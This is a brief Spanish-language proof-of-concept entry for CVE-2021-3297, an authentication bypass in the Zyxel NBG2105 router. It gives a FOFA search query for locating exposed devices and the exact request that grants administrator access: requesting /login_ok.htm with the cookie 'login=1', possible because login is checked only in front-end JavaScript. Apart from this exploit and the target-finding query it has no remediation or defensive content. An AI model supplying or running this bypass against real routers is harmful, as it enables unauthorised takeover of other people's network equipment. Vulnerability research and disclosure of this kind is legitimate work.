CVE-2021-3297 Zyxel NBG2105 vulnerabilidad de omisión de autenticación

Impacto de la vulnerabilidad

Zyxel NBG2105

FOFA

app="ZyXEL-NBG2105"

El archivo de front-end /js/util_gw.js tiene la verificación de front-end del parámetro Cookie login.

Si solicita lo siguiente, será redirigido a la página home.htm como administrador.

http://xxx.xxx.xxx.xxx/login_ok.htm

Cookie: login=1;